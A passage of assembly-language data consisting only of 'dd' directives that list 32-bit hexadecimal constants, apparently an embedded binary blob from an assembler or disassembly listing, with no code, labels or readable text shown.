0DEF5C703h, 7E923841h, 6E1E0511h, 80A1A2DDh, 78AC7F51h dd 74B4B60Fh, 0CA34C059h, 330313h, 0F27C07ABh, 63E7B7B3h dd 0C50055EEh, 4E22F3BDh, 3E10D4DEh, 0EA004180h, 0A3BC7E6Eh dd 68008362h dd 7345CFFDh, 0F2E7741Bh, 995B3C4Ah, 0BB058D80h, 3F97F284h dd 63A96700h, 3915461h, 0A62A00DAh, 4E784FFBh, 26708B57h dd 0E6429000h, 5944824Ch, 60023898h, 0F87EE500h, 0D20F9FEBh dd 6F5E8000h, 0B7140B89h, 44AA0039h, 0F03F8F0Eh, 0A600ED87h dd 1FA81561h, 6B43DCh, 9AB5669Ch, 0AAB2161Dh, 0AF73C518h dd 75410h, 3F57746h, 60D5AA5h, 216508CCh, 46023F34h, 0D7677080h dd 31B860B1h, 70576630h, 0DDACDA4h, 0AF7263A7h, 0FF1C0168h dd 39FECCDEh, 0BE4D440Ch, 69C61871h, 0D802175h, 0C2E609A1h dd 1273AA00h, 5D2A7CB7h, 3DD303FFh, 3EB54B2Dh, 3BD108A0h dd 61022C1Eh, 34074D8h, 8E90000Ch, 168143B1h, 75A2CD0h dd 4B00A1FCh, 0F1486185h, 241D1DCBh, 3830875Ah, 3B776BAh dd 4899EC08h, 9180543h, 0DA201EBDh, 0D0B7606Dh, 4C3259E5h dd 0D4987750h, 460D048Ch, 6213F53Dh, 54E2069h, 75005746h dd 0B57E701Eh, 5E839B9h, 0EE3017E3h, 0A69C0159h, 791D6CDh dd 23035AB3h, 1C00D368h, 7BF57A46h, 614486A1h, 4613003Bh dd 0FB05AE27h, 0CCA07CA8h, 3F80518Ah, 9DF731FFh, 896668h dd 41A04D9h, 9C6AFC42h, 0E80854C2h, 0F9018C6Bh, 24350125h dd 18854EF0h, 40825A74h, 5EEC7A4h, 2100D680h, 0E20791C6h dd 3139387Ch, 9DA05A5Eh, 1854BA49h, 0F540B0BAh, 155924D6h dd 62EF0318h, 0DCC2B88Dh, 0BC246C48h, 6D85DE06h, 71B59Ch dd 2BE0D10Fh, 6839C6B9h, 53093266h, 0D56F0021h, 31B71FE0h dd 58927BA2h, 22CC19A1h, 30BEF20Ch, 9C00296Ch, 0D969B804h dd 12A6010Dh, 1E1AC1ABh, 0E9863FB4h, 0D8B73768h, 8B22E20h dd 148536FFh, 95A6E903h, 0BC30400Bh, 110F8CD0h, 35F57946h dd 806C88F8h, 53461432h, 0C290E918h, 34B2218h, 553B9AC1h dd 0DDE0A4CCh, 94735685h, 25E0FB02h, 5431D6B9h, 0E0D77510h dd 53EF4100h, 0B1DE71D0h, 9BB0C0FDh, 0E580FBBEh, 8EAC9400h dd 3EF9157Eh, 0DF187306h, 0D4BB01D1h, 0F073CC1Fh, 207071B3h dd 0B8551628h, 0EFA30C00h, 445D254Ch, 0F3E7002Ah, 1668684h dd 8E72E8F4h, 1FD32801h, 1471CEF9h, 0E18F5880h, 0D481590Eh dd 5AB8C800h, 6105744Dh, 0FDF1CE26h, 0AAFBEFA1h, 9E85E858h dd 35082866h, 3E630021h, 8C3312EFh, 20053DE3h, 6280C5E1h dd 1F045DC1h, 0F5A62987h, 900A59F2h, 610E08A0h, 0D0B3AC00h dd 93271DCFh, 0B7750114h, 3371EC0Dh, 70C78020h, 0FCF202B7h dd 0FF400AA5h, 80E07CCAh, 28E1EAC1h, 0DF0A34AEh, 0C03D9562h dd 0BE6E980h, 227207h, 5986D543h, 6AEFFF19h, 1DA99F60h dd 9A7D3EF7h, 1C4AF0A8h, 98593075h, 381DB074h, 70AA4918h dd 50203138h, 40767068h, 3900CEA0h, 8F0CCB2Eh, 7D0DA3D8h dd 42CD14D1h, 0AF028C9Ah, 0FF242CF6h, 5923209Eh, 744B05F8h dd 29CC6016h, 72B8F8EFh, 3045CC8Ch, 9EF21C4h, 94D0205Bh dd 602BC404h, 2311B771h, 911151ECh, 0B76CC301h, 30AA1D7Dh dd 0DCA8BBD1h, 0C509A85Ah, 8265950Ah, 41F5E974h, 0A18D5B0h dd 9078463Eh, 6FC8A50Bh, 6C1F4D93h, 4B273744h, 562B8880h dd 82FD18AEh, 4AE9698Ch, 85B85350h, 64C680Ch, 0A9D61CAh dd 0A16A2B81h, 64F40238h, 90C5A030h, 0BC3F5013h, 6C056F23h dd 16C7CDA2h, 21A5A000h, 4D8D19B3h, 0C7CA497Ch, 8E1EA3A0h dd 0D000F898h, 9EE82813h, 5DAACCFCh, 44BC001Fh, 0C8603F01h dd 29FCC9C3h, 2AA2C823h, 93C5E30h, 0FC15DE7Fh, 29AEF4A1h dd 0F1883023h, 9C227890h, 0BD6312FEh, 8D0C4080h, 0A956F5B3h dd 2A1DB498h, 67053FD2h, 54019D6Ah, 41723C63h, 2881EAF0h dd 20D08E23h, 2C0B775Eh, 108D42C9h, 62E01584h, 0B22640CFh dd 18D7C891h, 3E460808h, 6CC41BF5h, 46FF3740h, 0A82591B8h dd 2A44FC74h, 0AADB1CE8h, 54E70324h, 87A0F483h, 0C6107FC5h dd 0EF061EA6h, 0D0553DB6h, 0F231121Dh, 1C982C3Eh, 84AF7E08h dd 1392DDEh, 1A9596EDh, 848D4307h, 4767681Eh, 0C0B2923Bh dd 0C0FFC408h, 0AAD1EF2Ch, 0FC222846h, 0EF245D1Eh, 0E00195DCh dd 62BB523Fh, 609DA6E4h, 0C6F96822h, 2401A402h, 0A18B6B44h dd 0C1878357h, 0E79F6945h, 0FB300223h, 18020849h, 0FCEF0825h dd 31C430AAh, 0EF3D5E40h, 6901793Eh, 5A67FCBAh, 0C5C4A741h dd 0E493480Eh, 2A0CC63Dh, 0B2F1B4E8h, 50760117h, 0C6F5A043h dd 32283E69h, 0B5494080h, 1BF12884h, 0F8849958h, 0B17F8C4Dh dd 0E3191707h, 34D05E4Bh, 5602918h, 5FED4ACFh, 12D84035h dd 631BFBBDh, 0F994C334h, 9088688Eh, 71565EC1h, 24530420h dd 0E2504276h, 200CAFD6h, 0BF7D0054h, 9C23F230h, 0B8540141h dd 0C8914BA8h, 0CE60CC7Bh, 0DB006B08h, 0BA617533h, 946FB611h dd 8B0D0220h, 50462341h, 6CC6D0A2h, 61798CB9h, 537E0818h dd 88209530h, 0E715066Eh, 0F61170h, 71C3DCDh, 0A9F3BCABh dd 0CAEC4704h, 0D08FB108h, 0E9C16088h, 8FDC1BF7h, 11320134h dd 0FDC65528h, 58AC2012h, 1804A092h, 0E977CB24h, 69C894DAh dd 3BE42BC0h, 0C22E0072h, 6FCA9C16h, 8AF6EED9h, 86717F3Ch dd 0E60641B4h, 1FAB7C59h, 0F9C6B22Fh, 221DE312h, 78302224h dd 0EC1211B7h, 80B98849h, 1AB76FC0h, 0B300FB40h, 14A08B2Ch dd 29D85ABh, 24F7450Ch, 8C4827F1h, 0E62539BAh, 0CC40069h dd 2524D743h, 2011ACE8h, 8F8186Ah, 0CEB920E0h, 6405BC4h dd 7027E0D0h, 7C3B86E8h, 5B401FDh, 5A195EE4h, 4CE36824h dd 24117045h, 1A8702B2h, 41D77255h, 360D282Ch, 1A88B08Ch dd 0E7C3000Bh, 3F9CC765h, 505927C5h, 0D36E0008h, 32014C55h dd 0E1068074h, 2AA30920h, 90A4B45Ah, 24E920B4h, 2785F48h dd 8F57BE93h, 0C4F0471Eh, 0C5767BCh, 7B8D1A10h, 0E9CC6F66h dd 0DB5FD960h, 0EF01BF9Dh, 6AD223E4h, 0D98D72A9h, 0E029C463h dd 0FB09ADE5h, 6026C1D6h, 255D9624h, 9C02D4B1h, 3207603Ch dd 0F2E42100h, 82F11820h, 2A18E0B8h, 0B69CE000h, 78A459B5h dd 77DC0107h, 0FDCFF0FAh, 2964E936h, 70C70AE8h, 8C0080D7h dd 6075CA07h, 582CE726h, 48C62BCh, 5CF9DDEh, 92C984E8h dd 3446C6E8h, 1DFE18E7h, 23B926E0h, 70004811h, 19BAE0D6h dd 4E3DCC4Bh, 0F656006Bh, 0FDA8FA8Ch, 0E88854CAh, 82204094h dd 0B442BC03h, 0C0C211F1h, 0ACE592h, 36755417h, 2D763CE2h dd 0BE31CD00h, 0D18F0D3Dh, 69DE3C79h, 0CE32B4D0h, 12609A49h dd 733E72B7h, 23045948h, 0C4771F3Dh, 6261EC07h, 72C520BFh dd 1DE891B7h, 0AAE38904h, 8C8050F5h, 1D8E4BC4h, 12C90ADAh dd 4D6892A1h, 2AE4E8C5h, 2D967961h, 0B5C9E914h, 688D5108h dd 0B2364420h, 0C0148814h, 0AAFAEF13h, 2684AE1h, 0BAEF2B60h dd 9BECE049h, 7930B94Bh, 0F818FBh, 0E24DE3CBh, 382067D2h dd 84A0827Dh, 6914E11Eh, 0D2B86285h, 31C8648Ah, 898D3C0h dd 4B0F6BDh, 0C86C0232h, 86809070h, 9900111Ch, 0B35C8D78h dd 1F4ACBBCh, 38CE550Bh, 1FBD050h, 0E561A99Dh, 2CBAEDA6h dd 0DDA712B4h, 9E802C5Eh, 1FA93A91h, 86F09C9Ch, 89228007h dd 5A73A614h, 725B0018h, 8B76A43Bh, 0C0E84BF8h, 56299925h dd 0AAECD500h, 0CF01435Fh, 33B8017Fh, 98785836h, 0E5BDE0EDh dd 8FA40C01h, 0C7D42204h, 0D401145Ah, 0C59AFC8Fh, 1FF18079h dd 0A9624513h, 1BD0364h, 165DE407h, 0F7040898h, 67748600h dd 6AF00DFEh, 6BB0C03Ch, 85D79D93h, 0A8E0C1C0h, 4C6A11B1h dd 809634AAh dd 5478DA0Ch, 50A55F00h, 0D7AA879h, 0BC2400F1h, 9E9D7539h dd 5500ABB1h, 5B4B1784h, 262F4E5h, 1A9CD37Eh, 98A7294Ch dd 3E8D2071h, 0DA7CC9C5h, 0C76A6E00h, 2FAB659h, 46EAEAh dd 0F1CC45B8h, 72B5BA6Ch, 8B6A7300h, 33432FB2h, 0F6392EEFh dd 697A0790h, 25FB4120h, 0C28844B1h, 48596764h, 57C87406h dd 0B35F0011h, 7A1E8BF7h, 45019FB7h, 1C11C2FEh, 508F30C4h dd 9540CFF4h, 8FD89BBAh, 7415730Fh, 2557602Ah, 0D73770h dd 0F36D6413h, 65ACC20h, 0DD4D5D00h, 0A167525Bh, 1F1C7CC7h dd 160C3EAh, 680B61E5h, 0CAE6E080h, 18CFFE33h, 33A7B836h dd 932C07D3h, 5781720Eh, 0A1E8E320h, 0A7AD61E0h, 0BF10E0E5h dd 53113560h, 30D8231h, 0ACA1CBC0h, 81834A8h, 74206244h dd 96820779h, 0F63F0F5Bh, 451F906Ah, 0B098EF37h, 9D8759h dd 831C3A20h, 7324C193h, 375108C6h, 816D0020h, 43CA7C20h dd 5A605BEBh, 86DFEED9h, 8F0C08Fh, 0F6E77538h, 36A7CA00h dd 8CA8FCC5h, 0E9290769h, 0A081262Dh, 5F1DF93h, 44D3A700h dd 1750A1CDh, 0D840074h, 10066CE7h, 0C27A05E0h, 0BC34BE00h dd 8A88FD3Ah, 3E4E0021h, 0E9DCCCA5h, 0E4015F8Ch, 0F6CFDB7Ch dd 14D8A748h, 58A91C42h, 5543000Dh, 85CE571Ah, 0C4272400h dd 78180CAFh, 6DDB0012h, 4D840596h, 0C700C0C3h, 0EFC2BC6h dd 0D81F30h, 0EE5D5E37h, 0AB951019h, 35529600h, 0AA5FCA5Bh dd 4BD0000Fh, 6C60FEC9h, 2500B09Dh, 62EA5A20h, 607C0BE9h dd 84D5B087h, 684C8110h, 0EA441DD1h, 0ED916100h, 0C65F206h dd 780E97Ch, 2B00EC30h, 0B8D85822h, 12E4F83Dh, 18E72D8Fh dd 1A4921D3h, 0D5815800h, 0C9F4B144h, 69430CA0h, 0DE507BA5h dd 0E7D66818h, 0E0073B68h, 0B5401F7Ch, 0E46207C3h, 0A031C843h dd 3970E8CDh, 0E711C099h, 421FC2DAh, 192C3A3Fh, 0AE08241Ah dd 0D92000DBh, 0AB43CB22h, 0E7608FE5h, 2F364549h, 996F003Eh dd 0AC1DB9B5h, 2606061Fh, 7DE3D183h, 101C0029h, 13376FA1h dd 0FB3307C4h, 37408C7h, 0A1E9BD21h, 4A765BEFh, 0E31E0E0Ch dd 0F2E50E22h, 288460B9h, 0ED19422Ch, 53F0EE60h, 67D92FC5h dd 13A2821h, 0FAE34B1Ah, 51CC9880h, 63771631h, 6B310878h dd 0F97084Ch, 562E2080h, 8023C531h, 0FE06831Ch, 5D2FC103h dd 150710Ch, 9848A6C0h, 0C0311495h, 83B85A9Ch, 5E23DC1Dh dd 0F62BB100h, 72959A9Dh, 24F900D8h, 4C68568Fh, 110096CDh dd 22D28C15h, 0F7CF80h, 20B9A66Bh, 0C368A8BDh, 0D740A71Ch dd 0A0C0569Eh, 4F98711h, 34A30312h, 0D37541E2h, 0F69863FBh dd 0F7F69C8Fh, 6C86A600h, 248C3CCAh, 0C7F2007Ah, 0BEF90FCh dd 0EC00664Fh, 5A4996DAh, 29B26CE5h, 0FD04E321h, 72851881h dd 1180E4BEh, 2666ADB6h, 480004E3h, 3D6BCAB8h, 94ED7Ch dd 21A859B5h, 42B60CDCh, 0E0EE6A05h, 14081704h, 3EDF4240h dd 2D218E24h, 106412A3h, 6A8958D7h, 7620B208h, 88E871CBh dd 96883BFDh, 9FEA886Dh, 88ECC940h, 1F00021Eh, 4E633217h dd 0FE620B28h, 443C00F9h, 76EC0D6Dh, 1300E743h, 6F975DA7h dd 78C25B85h, 32701E5Eh, 0E56A409Ch, 126E4862h, 0BBD71700h dd 5456DDA1h, 0EC8939C9h, 249EF400h, 0DE677513h, 55CE3700h dd 2EBDC118h, 0B2D0310h, 94DB024Ch, 355C09B8h, 517B97F8h dd 5D1DEA07h, 7470BFFCh, 9CF825h, 0AEB3C537h, 24DCEF2Dh dd 4CBCE400h, 14DE940Eh, 78190EF0h, 9240E0D6h, 0F5C7D991h dd 620DDC0Eh, 0CD269FFFh, 576A3705h, 0DDACEC40h, 3010D0A8h dd 0DCA11E1h, 8D0CA958h, 10604C44h, 4F090001h, 24C69563h dd 1500CC9Bh, 55205B67h, 92F4D5E6h, 21B00010h, 2DDCF73Bh dd 977D8E0Fh, 0E9E68200h, 0D44A7E83h, 0BAD800CBh, 58FD1F62h dd 3600CD3Bh, 0FED6A09Bh, 5EB834h, 9C6DD82h, 6B081297h dd 9C70062Ah, 0B70AC500h, 0C64E96C1h, 3D1239BBh, 76BF5200h dd 266808D0h, 0B3DEC903h, 0D064BAB7h, 32492Ch, 1CDA5356h dd 9C14CA75h, 7A00127Bh, 7E41F40Ch, 7DCF0D6h, 0A80FD0FFh dd 7B3B3093h, 3A000B8Eh, 6BA11853h, 399DB2h, 6C0EA98Ch dd 0A81B3548h, 0A2A739h, 3C548E12h, 18AE0E9h, 90A4E7ABh dd 0D7798063h, 857ACFB8h, 0CD2EFA1Fh, 0C7088C80h, 0B827A58Ah dd 26171E23h, 6598C03Fh, 0EEC996B2h, 2D4B6000h, 27A7B5C6h dd 754200F5h, 6412ECD2h, 5B001BFCh, 9B17E128h, 2EBEE7h dd 4EDDD67Ah, 25E8B4AAh, 0BBFB9928h, 112460F8h, 8E0048B9h dd 0B789BDE7h, 80F00183h, 1AEA09F6h, 0C0ABDCDEh, 838458h dd 567365BAh, 248DC2ADh, 80004AAFh, 0D504BDC9h, 0DA007FAAh dd 82CD174Eh, 0F7E62E3h, 0CC323E11h, 0AB2F8780h, 8440A698h dd 1FC00067h, 0D435C85Ch, 0AD004D7Ch, 0CF9C9B82h, 77F0FAEh dd 508A5824h, 0FD2AF1Ch, 0A4BCE31Fh, 51610018h, 0CA2DC6A9h dd 80A9124h, 7D45DA00h, 0C00C9381h, 0FC1C1110h, 0A91C5C3Fh dd 0AB9778B0h, 74001B1Fh, 0B4E68A13h, 835E03F5h, 0AED3DF0Dh dd 2E399807h, 8EC3B617h, 87A880A4h, 30AB836h, 0CF183888h dd 90A00532h, 817A4852h, 85863000h, 6616EEBDh, 782090F8h dd 0D9443DB5h, 23F04B01h, 0C1415E99h, 78F6C01Fh, 89321B01h dd 7E08909Ch, 0CC0060h, 0A688457Ch, 8683164Dh, 7FE699FEh dd 0B62A8207h, 0AC009050h, 331777h, 3930BE4Ch, 0D0EAD559h dd 0D8DF2007h, 0F4204E32h, 3C8F2Eh, 9298CA1h, 0E6C02B2Fh dd 7B7E1001h, 1AC4AF4Dh, 840C20h, 0DE53CACCh, 0D910B498h dd 1800BF90h, 2476F01Fh, 0B8CC7509h, 568A00AEh, 7D0CEFC1h dd 0D006B0CDh, 0AE521ED6h, 0A6580056h, 8074BC88h, 0B01C5FA2h dd 22DD42FFh, 0C1264700h, 3B53137Ah, 0D78BE444h, 0F00204C7h dd 4060C3EBh, 3A08270Ch, 87EE924h, 82818EA1h, 0D4AFC3D7h dd 0E92E2880h, 5FE02F1Ah, 0ED9B5600h, 0C6A0BFD2h, 3230C061h dd 591D06E9h, 77C1FA60h, 268C9B92h, 720352Fh, 905FECEFh dd 0A0011A73h, 9058D160h, 3391A4D2h, 1F10ED55h, 0A1B580D8h dd 0EE007090h, 0C073544Dh, 5C28DAFFh, 390089B8h, 0B0BB65E4h dd 700025C1h, 24624E30h, 0C96C2E38h, 2B00D038h, 0AE557976h dd 0EBB37400h, 6571357Ch, 3AA50029h, 39536E20h, 920011D2h dd 0FB7940FFh, 1E0DE4AFh, 0ACE7046Dh, 8F1A0172h, 4049B40Ah dd 0BCBE67B4h, 0B89BDA00h, 0BDCB879Fh, 6C090026h, 0DDCCC5FAh dd 8D7719D3h, 47AE452Ch, 2E11E403h, 5C609736h, 1D8F022h dd 0CB9359C1h, 0E81856AAh, 57B0D3BAh, 6C95B200h, 0FB1B8F2Fh dd 0EF6F0059h, 7DE2B6DFh, 0F6005462h, 46DACD8Ch, 0E19589h dd 83053F4Ah, 378EC72Ah, 3660BA00h, 0CE6355B6h, 8CA30714h dd 60FEF11Fh, 50EABC97h, 8EFDD41Bh, 720A8098h, 0E6407D36h dd 0FF5B0003h, 16AD443Eh, 210FD2AEh, 0C014745Fh, 0F205D057h dd 339C0085h, 0E5F69461h, 7C002318h, 0CAFA9071h, 1FBB0F2Eh dd 0C08AD3ECh, 0EEB66986h, 0AC00ED7Bh, 0B53D56B7h, 54D1DAh dd 0F364CDA1h, 0B418B004h, 0B76BA509h, 38C8A0E8h, 6F944Ch dd 5D45F5ADh, 0EE0A69A0h, 82B67500h, 0D5976418h, 1E3200C7h dd 0A648947Fh, 51018B4Bh, 86E5C199h, 6A8753DBh, 61FF430Fh dd 703ED24Ch, 290E4541h, 4055D75Bh, 0F59C0D8Bh, 607F481Ah dd 0C5AFF00h, 0E120D325h, 3A00DA73h, 7E903EEh, 0F9F37Eh dd 0F4E2B819h, 0AD0EBA92h, 0D6723Dh, 29CD7F74h, 989944h dd 0C49E12A4h, 24E13047h dd 6212667Ch, 0D800D6B9h, 0E3CAF627h, 7AB00741h, 0B3A0F097h dd 6B04D7Fh, 0A32C047Dh, 9E003893h, 0B39D9B7Eh, 0AEB40FE4h dd 77C0DF8Ch, 8AD4C1BDh, 0DAF56D00h, 0D9289FF4h, 6EE0024h dd 25DE3FDFh, 1F00AFF0h, 0E362EDEFh, 178FD1CAh, 0FCD5A68h dd 56ABD629h, 0B2F08090h, 13E88B1Eh, 0DA01BCC3h, 0B699B8B8h dd 0CE3F09FAh, 0A80070B3h, 0A4FDFC31h, 0BD452E00h, 637E4C12h dd 0E964009Eh, 2087EA4Fh, 1DE8EB35h, 78041E18h, 8C3B18h dd 6D8D9357h, 0EC9A88E1h, 13EDFA00h, 9D6F72CBh, 3A11F95h dd 0C2B800BAh, 5DCF7393h, 0FA011B3Eh, 0D5A6DE09h, 0FF5209FBh dd 806D3207h, 4BA03B1Eh, 0EB009270h, 0CAF9C66Bh, 58B70B7Dh dd 100004Ah, 98F57B15h, 343F6D33h, 3D608029h, 0E702F6E2h dd 3E95729Ah, 0E84308D4h, 9C9A8C81h, 0C76E0701h, 1EB9EDC8h dd 176C81DCh, 9CBF32Ch, 0DC83FA90h, 3FB0684Dh, 0E04C790Ah dd 0A70071A4h, 54786E4Bh, 0FCB46B46h, 7AB600DAh, 3A22BF17h dd 0FE21CCDh, 4654C00h, 535AD65Fh, 7CB72474h, 674D0096h dd 0A2C07144h, 0EA0EACF0h, 0BE9DBE5Bh, 0C5342DC0h, 4B2EC3h dd 931C3B05h, 1EB16889h, 5B0C8712h, 4A164800h, 0CA7357h dd 243046ABh, 0F5C579AAh, 0E59574C0h, 3D1977Eh, 11915FA8h dd 0F8C13C66h, 28D0E355h, 0A21C6733h, 43F7A17h, 0CA8FEFFAh dd 0DC824885h, 8C484031h, 0D64200BBh, 0BEF9C17Bh, 4B00D445h dd 0C37604F1h, 0ECE90DCFh, 4C5D0002h, 0E44808F9h, 23FE81E0h dd 43003DF6h, 71B044D4h, 0D08355h, 4B3E916Bh, 0A20B1993h dd 3BC2EA00h, 0DCB26CDFh, 0B08B0020h, 1292DE84h, 0E617D223h dd 540263F3h, 825367EEh, 0E4854198h, 0DC292CC0h, 748B0067h dd 0DEE8234Eh, 0B09AA517h, 80E0E409h, 0F6D64F32h, 1F319838h dd 87439C81h, 3F022Ch, 0EEB72663h, 472A0E00h, 84E1771Ch dd 44250467h, 0C069C502h, 3E0F944h, 0F636A30Eh, 0FCAEE041h dd 828490h, 0BDB309Fh, 383E59D5h, 4B033B1Fh, 22F55BC4h dd 1695F4A0h, 4AF975Ch, 0B1EB69E0h, 15BBE420h, 51EADC02h dd 48C99C8Dh, 2A533A18h, 0C2C86CFBh, 8860EC9h, 8EBF6D61h dd 0C0988110h, 70F0EA3Ah, 4AF60380h, 4C34ADEDh, 0FBC0D2C8h dd 677DD000h, 0A8152175h, 9CE7C60h, 0D981AE8Dh, 2DCD1C00h dd 8C001D3Ah, 49481339h, 4F7231h, 200923BBh, 2A0A54C0h dd 0FCBC7900h, 0E2989656h, 41A41FDCh, 0B765D31h, 0BF00E34Bh dd 23A3CB22h, 7CA95158h, 79005898h, 4020AA76h, 0FABE45h dd 3B625CABh, 0FC77B9BBh, 0ED8A1E1Ch, 0F831BF16h, 0B450E92Dh dd 57AE764h, 0D088F983h, 328B8002h, 2C261C94h, 13F7EBCh dd 0F5E2A8B4h, 0DEF9FE3Eh, 35068D4h, 60AC216Eh, 8FC09F91h dd 7070DD06h, 1950DB76h, 0CCF66EC8h, 0F1E11E1Eh, 0C34AF780h dd 1701FD0Ah, 0EA5F70h, 2A28AFECh, 0DB0254B4h, 0FFF8A464h dd 0A15DC065h, 891300B9h, 776A4FA8h, 0C302AD15h, 0DF4AFADBh dd 20E8E898h, 0EF863A60h, 0D1B2B680h, 5F947E8Ah, 80982139h dd 5DB94F2Ah, 3B3FA03Ah, 0A9007CB0h, 8CBFC7DDh, 67036932h dd 0E4166696h, 0D35D0FCh, 0CCBE03DCh, 8245A415h, 50A27DB8h dd 2B9CAC00h, 13E9C7D2h, 8B7809h, 89C2B1C8h, 0D81F9FEh dd 310A1F7Ch, 8CBE9ECEh, 88D47200h, 310EAB5h, 2D0567F3h dd 0E7A05718h, 7092A379h, 0DB391B90h, 59F26522h, 0D03C8380h dd 0A1B00C2h, 2ED7F605h, 4200F509h, 87C14164h, 14627B5h dd 7EEC608Dh, 281B33E0h, 0B7F4005Ch, 50057718h, 25AF04A3h dd 9791C4E7h, 8C9EDE70h, 0DC11FB30h, 0EFBB4B00h, 0E54E522Fh dd 0F85C1EFEh, 0D589C004h, 0F707441Dh, 7CD17100h, 741B845Ah dd 27617CF4h, 14823DF9h, 0E0440B3Ch, 5A890109h, 2F24838Eh dd 8047CDD3h, 57D21529h, 1A00E868h, 0AB5A184Dh, 0AD3839C1h dd 58AEE800h, 0D3DC0451h, 92EC3A64h, 1B0524C8h, 40838453h dd 0A67D2A98h, 0C896E514h, 1BCBE680h, 764EB02h, 0F27E0672h dd 2DAC303Ah, 0B1392E0Fh, 94740019h, 8E35CE76h, 0F5DB00B2h dd 0D6D038DCh, 2270AB0Eh, 0FAB09D00h, 814C09F0h, 40D16186h dd 0C84DEE4Ah, 10C0FB69h, 0A5621FD7h, 75763ACAh, 2737A78Eh dd 4F7EC035h, 0C05C74D7h, 68A0F612h, 0B3AE1D00h, 0C37A1F0Ah dd 0D4931D9Dh, 4034DFA4h, 0BE574108h, 2E00D939h, 7ED0CF36h dd 0FAC9183h, 0F7BB69BCh, 0DCF6B9E0h, 0B10004A7h, 3307C612h dd 9AC37C37h, 0D98E277Ch, 0A3605430h, 9815CB00h, 0C8D713BBh dd 7D94BA5h, 0CEE12494h, 304EAFADh, 0F2003BB8h, 0B856B68Dh dd 99C3EEh, 4A105F0Ch, 34FA617h, 44759701h, 490F76D3h dd 8671F0h, 14F63B5Dh, 587931F3h, 5AA43903h, 0B0C5106Eh dd 2FBBCFh, 32A37F92h, 9E3256Dh, 26CE4312h, 0BB38F700h dd 0A96311h, 997904C4h, 8B3E3498h, 800DEF16h, 0B5C7B020h dd 0E6CCF58Ch, 94863CBCh, 0D055BE80h, 5181A01h, 0AB0EEC98h dd 8019B8D2h, 346ED377h, 6CED0192h, 3FF57D2Dh, 0FC3D20E6h dd 0C65E8A00h, 1250CFAEh, 2CB10485h, 8BE6D361h, 0B520002Ch dd 0D4DF3DD6h, 8AA907C5h, 0A01210D7h, 0B94D7536h, 6C016000h dd 0A58C0F1Fh, 0F6520F48h, 7F80D48Bh, 0D513597h, 6C2D4Ch dd 0F4E18193h, 7AF8F5h, 1944C6A1h, 0C23754F1h, 0FAC00802h dd 52A99240h, 0BEFF1754h, 274C0136h, 83430237h, 0AF5B4F30h dd 0E082839Bh, 1663BD11h, 0D9FF36h, 0B649CB40h, 2D0F9272h dd 20544AF3h, 9D6E15C0h, 339426FCh, 17A6241Eh, 0B6C40989h dd 0A801D0FCh, 1103290Bh, 0DC1D543Ch, 0F3258019h, 7C9CC015h dd 0AFAB9509h, 0C778201Ch, 605138h, 0D7A01297h, 92A31B48h dd 24AC6A59h, 0B02F8E7h, 0C1738086h, 0E424BDA3h, 0B951243Dh dd 0FD823C14h, 446396E9h, 2B1106Bh, 5F84D866h, 0A74C20FBh dd 0C32AD30Eh, 7C19C09Fh, 30F615D7h, 0D2215582h, 0AD2C77F4h dd 7D0044A8h, 130AE8C7h, 0F84330C4h, 0C839EA70h, 0C1302772h dd 2C0AB062h, 49E00005h, 0FE17F32Ah, 1DEA9626h, 8972D501h dd 6CBD016Dh, 1F8CE3D4h, 0CA2B47BEh, 1B51BB8h, 2AF4FB99h dd 94808975h, 0CEBE0097h, 778AC965h, 7BB907D3h, 107FA3BEh dd 0E655D438h, 0F6D50518h, 70DA4B90h, 31581DC2h, 0EA43C086h dd 672F70E0h, 84EDD100h, 0C336DD79h, 0E1D50061h, 0AB90A502h dd 0C2472E7h, 410087A9h, 4453F7ACh, 0A6E04851h, 1F2B7700h dd 1B6316A6h, 74DF7226h, 4FABCB0Eh, 0EE3A2097h, 4A7A22Eh dd 0F889BFA8h, 6CC881F5h, 0F186254h, 1D2E6E08h, 8FD65DCAh dd 14E9D700h, 22F39Fh, 0F200B0Eh, 0C1439651h, 10C04676h dd 99884B0Ah, 780600DDh, 0D2CD115Ah, 0AA02A4BDh, 279B21A6h dd 0B24784Ch, 9D06BE93h, 0F0ECDCA4h, 3F7C7DE8h, 90E45A28h dd 0BEB083Eh, 64A69C3Eh, 0ECEF01C4h, 704AA533h, 75C86CCEh dd 680E251Dh, 2C480EDh, 367B175h, 0D2988D41h, 21EAB939h dd 0D13C9480h, 14826EAh, 63221FF8h, 4040E44Eh, 0A74E3549h dd 56B0088h, 0ACC51FDEh, 0F3005F87h, 1B06025Dh, 1F821E3h dd 6AE63A17h, 249DC9C6h, 0CF4A6184h, 5FFEFC00h, 0BC8615h dd 6FB56241h, 25A52C30h, 0A20A2200h, 33645C0Eh, 5F7E1DFAh dd 4DED0624h, 8CB0F06Eh, 0D91C0BE6h, 682686B2h, 0D017372Ch dd 20149C00h, 3F058E1h, 5B783BF3h, 0E8DAF734h, 8294684Bh dd 0E4838331h, 4400F13Ch, 0BED21098h, 0B389B25h, 0F953E229h dd 0A8BA6400h, 8B1C9487h dd 0C40B24DAh, 8658203Eh, 76B18Ah, 0B6BCEAE7h, 6E6A67E0h dd 7CDA4505h, 0DC53F342h, 4D3C4CCh, 1B0D628Ah, 8188811Ch dd 0FFC8F1FDh, 0AC9A1100h, 0B5B0E0B1h, 2BECEFCFh, 7E558FFh dd 44288000h, 3F137E92h, 0D078500h, 62524DA4h, 19681354h dd 0AF1F04ADh, 3714E0EBh, 47B9AA02h, 80035630h, 4B43C3ECh dd 6A47111h, 82DF2A2h, 9B00E8AAh, 19BEC280h, 18324Bh, 6F89E6CFh dd 22CEFDF4h, 56A2D400h, 0C98AE015h, 0A4202C7h, 1288AB7Ch dd 7B82B080h, 4100D20Fh, 0AAD5E0BCh, 73C5DCh, 58381F3Eh dd 9FECC313h, 22100349h, 0DD400402h, 0AF8D9Bh, 6C76DF71h dd 6F080567h, 91019645h, 2040023Ch, 32007514h, 2CFEB23Ah dd 4EB30334h, 5FE0400Fh, 403BF83Eh, 71B6F01h, 6F58249h dd 70031020h, 0FEF30019h, 2F4A6901h, 0A000E805h, 0F99C6726h dd 5DEF1C61h, 7E00981Ah, 0DA74B0E6h, 0F63BC772h, 80A04889h dd 50AE0755h, 5C833CCCh, 3AC1DCD0h, 1D8089B2h, 862CB53Ch dd 803F5A39h, 2DD91629h, 349E7E00h, 0ECD73AC8h, 2F3730A5h dd 994AFE21h, 44675600h, 380D2B1Ah, 0B9430E13h, 0C6C327D4h dd 99003FB0h, 2D4A6361h, 3B3DCEh, 75DE4272h, 0C16AE43h dd 0B9715307h, 0D8A01B39h, 0EC2A7073h, 62DB00D3h, 0E78611B4h dd 241C4A8Eh, 0B24946F1h, 